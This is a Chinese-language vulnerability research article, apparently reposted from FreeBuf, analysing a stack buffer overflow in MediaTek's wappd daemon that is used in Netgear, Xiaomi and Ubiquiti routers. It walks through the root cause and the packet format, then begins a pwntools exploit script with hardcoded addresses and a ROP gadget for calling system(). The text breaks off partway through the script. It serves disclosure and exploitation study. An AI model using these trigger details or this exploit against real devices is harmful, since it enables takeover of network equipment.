引言
2023年底,漏洞研究员发现并报告了 MediaTek MT7622/MT7915 SDK 和 RTxxxx SoftAP 驱动包中所包含的一个网络守护进程 wappd 漏洞。该芯片组常见于支持 Wifi6(802.11ax)的嵌入式平台中,例如 Ubiquiti、小米和 Netgear 设备。他最初是在查找嵌入式设备漏洞时偶然发现这段代码的——目标设备是 Netgear WAX206 无线路由器。wappd 服务主要用于配置和协调无线接口以及使用 Hotspot 2.0 等相关技术的接入点操作。虽然这个应用的结构略微复杂,但基本上它由以下几部分组成:一个网络服务、与设备上无线接口交互的一组本地服务,以及各组件之间通过 Unix 域套接字进行通信的通道。
受影响的芯片组:MT6890、MT7915、MT7916、MT7981、MT7986、MT7622
受影响的软件版本:
对于 MT7915:SDK 版本 7.4.0.1 及之前版本
对于 MT7916、MT7981 和 MT7986:SDK 版本 7.6.7.0 及之前版本
OpenWrt 版本 19.07、21.02
该漏洞是由于在一个拷贝操作中直接使用了由攻击者控制的数据包中的长度值而未进行边界检查,导致的缓冲区溢出问题。总体来说,这是一个相当简单的漏洞——只是一个普通的栈缓冲区溢出漏洞,以此漏洞为案例,探讨在不同的漏洞防护措施和条件下,可以采取的多种利用策略。因为它提供了一个专注于利用开发中较为创意部分的机会:当你确认存在漏洞并理解了各种限制后,你可以设法通过影响应用逻辑和漏洞效应来获得代码执行,从而弹出一个 shell。
这篇文章将介绍针对该漏洞的4种利用方法,从最简单的版本(无栈保护、无 ASLR、损坏返回地址)开始,一直到针对 Netgear WAX206 上发布的 wappd 二进制文件编写的利用代码(在这种版本中,启用了多种防护措施,并且平台从 x86-64 迁移到 arm64)。利用代码的详细注释可以在这里找到(链接提供在各个部分的开头)。在阅读本文时,如果能同时参考这些代码,可能会更加清晰。
注意:下面讨论的前三种利用方法均是在我自己编译的 wappd(在 x86_64 机器上编译,并对防护措施做了一些轻微的修改,如不同的防护选项、关闭 fork 行为、编译器优化等)上进行测试的。
背景
漏洞发现
这个漏洞是通过使用一个名为 fuzzotron的网络模糊测试工具时发现的。更多信息请查看 Github 页面,简单来说,该工具可以使用 radamsa 或 blab 来生成测试用例,并以极低的开销对网络服务进行模糊测试。在针对这个目标时,使用 radamsa 来进行变异,并通过 Python 手动生成一个起始测试集,定义了预期数据包的结构并将其写入磁盘。对 wappd 守护进程的代码做了一个小修改:在数据包到达后立即将最后接收到的包保存到磁盘中,以确保能保存导致崩溃的样本用于后续分析。
根本原因分析
漏洞出现在函数IAPP_RcvHandlerSSB()
中,由于在使用攻击者控制的长度值进行拷贝操作前没有做边界检查,从而导致缓冲区溢出。具体来说,攻击者控制的长度值直接用于调用IAPP_MEM_MOVE()
(这是一个包装了NdisMoveMemory()
的宏)来从数据包中复制数据到一个在栈上分配的 167 字节大小的结构中。
流程如下:
在
IAPP_RcvHandlerUdp()
或IAPP_RcvHandlerTcp()
中,从 UDP 或 TCP 套接字中读取数据后,将原始数据转换为struct IappHdr
,并检查其 command 字段;如果 command 字段的值为 50,则会调用
IAPP_RcvHandlerSSB()
函数,并将指向数据包的指针传入。在
IAPP_RcvHandlerSSB()
中,数据会被转换为struct RT_IAPP_SEND_SECURITY_BLOCK *
类型,并赋值给指针pSendSB
;接着,访问pSendSB->Length
字段,并利用该值计算附加在结构体后的数据长度。在将负载数据从转换后的结构体指针复制到作为参数传入的
pCmdBuf
指针后,代码调用了宏IAPP_MEM_MOVE()
。此时,使用攻击者控制的Length
字段的值,将数据从pSendSB->SB
缓冲区复制到在函数开始处声明的kdp_info
结构体中。在调用前,对该长度值唯一的检查就是确认它不超过最大数据包长度(1600 字节);然而,由于目标
kdp_info
结构体只有 167 字节大,因此可能导致最多 1433 字节的攻击者控制数据写入栈,发生缓冲区溢出。
代码片段讲解
以下是IAPP_RcvHandlerSSB()
中相关的代码片段:
pSendSB = (RT_IAPP_SEND_SECURITY_BLOCK *) pPktBuf;
BufLen = sizeof(OID_REQ);
pSendSB->Length = NTOH_S(pSendSB->Length);
BufLen += FT_IP_ADDRESS_SIZE + IAPP_SB_INIT_VEC_SIZE + pSendSB->Length;
IAPP_CMD_BUF_ALLOCATE(pCmdBuf, pBufMsg, BufLen);
if (pBufMsg == NULL)
return;
/* End of if */
/* command to notify that a Key Req is received */
DBGPRINT(RT_DEBUG_TRACE, "iapp> IAPP_RcvHandlerSSB\n");
OidReq = (POID_REQ) pBufMsg;
OidReq->OID = (RT_SET_FT_KEY_REQ | OID_GET_SET_TOGGLE);
/* peer IP address */
IAPP_MEM_MOVE(OidReq->Buf, &PeerIP, FT_IP_ADDRESS_SIZE);
/* nonce & security block */
IAPP_MEM_MOVE(OidReq->Buf+FT_IP_ADDRESS_SIZE,
pSendSB->InitVec, IAPP_SB_INIT_VEC_SIZE);
IAPP_MEM_MOVE(OidReq->Buf+FT_IP_ADDRESS_SIZE+IAPP_SB_INIT_VEC_SIZE,
pSendSB->SB, pSendSB->Length);
// BUG: overflow occurs here
IAPP_MEM_MOVE(&kdp_info, pSendSB->SB, pSendSB->Length);
详细解释
数据包转换与初步处理
pSendSB = (RT_IAPP_SEND_SECURITY_BLOCK *) pPktBuf;
这一行将接收到的数据包pPktBuf
强制转换为指向RT_IAPP_SEND_SECURITY_BLOCK
结构体的指针。此结构体定义了数据包的头部格式,其中包含了 IAPP 协议的头部、初始化向量(InitVec)、长度字段以及紧跟在结构体后的安全块数据(SB)。
2. 计算缓冲区长度
BufLen = sizeof(OID_REQ);
pSendSB->Length = NTOH_S(pSendSB->Length);
BufLen += FT_IP_ADDRESS_SIZE + IAPP_SB_INIT_VEC_SIZE + pSendSB->Length;
这一计算用于为后续分配一个足够大的缓冲区来存放所有数据。
* 首先,将BufLen
初始化为OID_REQ
结构体的大小(可能用于构造一个请求)。
* 然后,将pSendSB->Length
字段从网络字节序转换为主机字节序(NTOH_S
)。
* 最后,将BufLen
增加了三个部分:
*FT_IP_ADDRESS_SIZE
:表示存储对等方 IP 地址所需的字节数;
*IAPP_SB_INIT_VEC_SIZE
:表示存储初始化向量的字节数;
*pSendSB->Length
:攻击者指定的安全块数据长度。
3. 分配命令缓冲区
IAPP_CMD_BUF_ALLOCATE(pCmdBuf, pBufMsg, BufLen);
if (pBufMsg == NULL)
return;
使用宏IAPP_CMD_BUF_ALLOCATE
分配一个缓冲区,大小为前面计算的BufLen
。如果分配失败(返回空指针),则函数直接返回,避免后续操作。
4. 打印调试信息
DBGPRINT(RT_DEBUG_TRACE, "iapp> IAPP_RcvHandlerSSB\n");
这行代码用于调试,记录一条信息,表明已经进入了处理安全块的函数。
5. 设置 OID 请求
OidReq = (POID_REQ) pBufMsg;
OidReq->OID = (RT_SET_FT_KEY_REQ | OID_GET_SET_TOGGLE);
将分配的缓冲区pBufMsg
转换为OID_REQ
类型的指针,并设置OID
字段。这里的 OID 组合了两种标识(例如,设置快速传输密钥请求及获取/设置切换标志)。
6. 拷贝对等方 IP 地址
IAPP_MEM_MOVE(OidReq->Buf, &PeerIP, FT_IP_ADDRESS_SIZE);
使用宏IAPP_MEM_MOVE
将对等方 IP 地址(PeerIP
)复制到OidReq->Buf
的起始位置,复制长度为FT_IP_ADDRESS_SIZE
字节。
7. 拷贝初始化向量与安全块数据
IAPP_MEM_MOVE(OidReq->Buf+FT_IP_ADDRESS_SIZE,
pSendSB->InitVec, IAPP_SB_INIT_VEC_SIZE);
IAPP_MEM_MOVE(OidReq->Buf+FT_IP_ADDRESS_SIZE+IAPP_SB_INIT_VEC_SIZE,
pSendSB->SB, pSendSB->Length);
第一条
IAPP_MEM_MOVE
调用:将pSendSB->InitVec
中的初始化向量复制到OidReq->Buf
中紧接着 IP 地址之后的位置,长度为IAPP_SB_INIT_VEC_SIZE
字节。第二条
IAPP_MEM_MOVE
调用:将pSendSB->SB
中的安全块数据复制到缓冲区中接下来的位置,长度为攻击者控制的pSendSB->Length
字节。
漏洞点:缓冲区溢出
// BUG: overflow occurs here
IAPP_MEM_MOVE(&kdp_info, pSendSB->SB, pSendSB->Length);
这条语句再次调用IAPP_MEM_MOVE
,将pSendSB->SB
中的数据复制到kdp_info
结构体的地址中,长度依然为pSendSB->Length
。
问题在于:
因此,如果攻击者设置pSendSB->Length
大于 167,就会导致从pSendSB->SB
复制超出kdp_info
边界的数据,从而发生栈缓冲区溢出。攻击者可以利用这一漏洞覆盖函数的返回地址或其他关键数据,进而控制程序流程,实现任意代码执行。
*kdp_info
是在栈上分配的,大小仅有 167 字节。
* 而之前只检查了pSendSB->Length
不超过 1600 字节(最大数据包长度),并未检查它是否小于或等于 167 字节。
数据包格式说明
接下来是数据包中结构体的定义,这也说明了数据包的整体格式:
/* IAPP header in the frame body, 6B */
typedef struct PACKED _RT_IAPP_HEADER {
UCHAR Version; /* 指示 IAPP 协议的版本 */
UCHAR Command; /* 命令类型:比如 ADD 通知、MOVE 通知等 */
UINT16 Identifier; /* 用于匹配请求和响应 */
UINT16 Length; /* 指示整个数据包的长度 */
} RT_IAPP_HEADER;
typedef struct PACKED _RT_IAPP_SEND_SECURITY_BLOCK {
RT_IAPP_HEADER IappHeader;
UCHAR InitVec[8];
UINT16 Length;
UCHAR SB[0];
} RT_IAPP_SEND_SECURITY_BLOCK;
讲解:
RT_IAPP_HEADER 结构体:
这个结构体占用 6 个字节,其中包括:Version
:表示 IAPP 协议的版本。Command
:用于标识请求的类型,只有在Command
字段为 50 时,程序才会调用IAPP_RcvHandlerSSB()
。Identifier
:一个辅助标识符,用于匹配请求和响应。Length
:表示整个数据包的总长度。
RT_IAPP_SEND_SECURITY_BLOCK 结构体:
该结构体将上面的RT_IAPP_HEADER
嵌入其中,后面跟有:InitVec
:一个 8 字节的初始化向量,通常用于加密或者验证目的。Length
:这是一个单独的长度字段,用来指明紧随其后的安全块数据SB
的长度。注意这里和RT_IAPP_HEADER
中的Length
可能用于不同的验证目的(例如,整个包的长度和安全块的长度)。SB[0]
:这是一个灵活数组成员,实际的数据紧跟在结构体尾部,大小由前面的Length
字段决定。
注意事项与利用约束:
数据包总大小限制:
UDP 接收数据包的最大长度为 1600 字节。扣除必须的结构体和其它数据部分,大约有 1430 字节可用于覆盖目标内存区域。字段约束:
在数据包中,
RT_IAPP_HEADER.Command
必须设置为 50,才能触发漏洞路径IAPP_RcvHandlerSSB()
。RT_IAPP_SEND_SECURITY_BLOCK.Length
字段定义了安全块数据的长度,并将直接作为拷贝长度使用。因此如果设置过大,就会触发缓冲区溢出。
利用点:
攻击者可利用这一溢出覆盖栈上关键数据,如返回地址,从而达到执行任意代码的目的。由于缺乏针对该字段的严格检查,利用方式较为直接,正因如此本文探讨了多种不同场景下如何构造 payload 来绕过各种安全防护(如栈保护、ASLR等)的策略。
下面给出内容的中文翻译以及对代码的详细解析。
利用 1:通过破坏返回地址实现 RIP 劫持,利用 ROP 链调用 system()
构建条件:
非 fork 模式
无编译优化
防护措施:
NX(不可执行栈)
我们首先介绍最简单的方式来获得代码执行能力,假设没有额外的利用防护(除了不可执行栈之外)。这意味着各地址都是可预测的,不需要泄露地址信息。
这个利用过程就是一个经典的 RIP 劫持:利用栈溢出破坏保存的返回地址,重定向执行流。流程很简单:溢出栈,将溢出数据调整对齐,从而覆盖返回地址为我们期望跳转的地址,然后等待函数返回并使用被破坏的返回地址。接下来你可以任意构造利用链(在本例中,我们利用一个 ROP gadget,它会将一个指向包含命令字符串的指针加载到合适的寄存器中,然后调用 system() 执行该命令)。由于没有启用 ASLR,我们假设已知 system() 的地址以及离我们的 payload 数据较近的栈地址。
以下是利用代码(Python 脚本,依赖 pwntools 库)的完整内容和逐行解释:
代码及解析
#!/usr/bin/env python3
from pwn import *
context.log_level = 'error'
TARGET_IP = "127.0.0.1"
TARGET_PORT = 3517
PAD_BYTE = b"\x22"
解释:
#!/usr/bin/env python3
:指定使用 Python3 运行脚本。from pwn import *
:导入 pwntools 库,它提供了构造和发送利用 payload 的一系列工具。context.log_level = 'error'
:设置日志级别为 error,目的是减少输出内容,只在出错时打印。定义目标 IP 和端口,和一个填充字节(这里选用
\x22
,也可以理解为填充用的“填充字节”)。
# this is addr on the stack close to where our paylaod data is
WRITEABLE_STACK = 0x7fffffff0d70
# Addresses
SYSTEM_ADDR = 0x7ffff7c50d70
EXIT_ADDR = 0x7ffff7c455f0
TARGET_RBP_ADDR = 0x5555555555555555 # doesn't matter
GADGET_2 = 0x42bf72 # pop rdi ; pop rbp ; ret
解释:
WRITEABLE_STACK
:一个指向栈中可写区域的地址,靠近 payload 数据区域。利用时,我们需要在栈上放置命令字符串,随后在 ROP 链中引用。SYSTEM_ADDR
:system() 函数的地址。利用时跳转到此地址来执行命令。EXIT_ADDR
:exit() 函数的地址,用于在 system() 返回后干净退出程序。TARGET_RBP_ADDR
:用来覆盖被保存的 RBP(栈帧指针)的地址。该值在本利用中没有实际意义,只要填充即可。GADGET_2
:ROP gadget 地址,此 gadget 执行pop rdi ; pop rbp ; ret
,用于加载参数到 rdi 寄存器(在 Linux x86-64 平台上,system() 的第一个参数需要在 rdi 寄存器中传递)。
# NOTE: tweak `stack_o
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)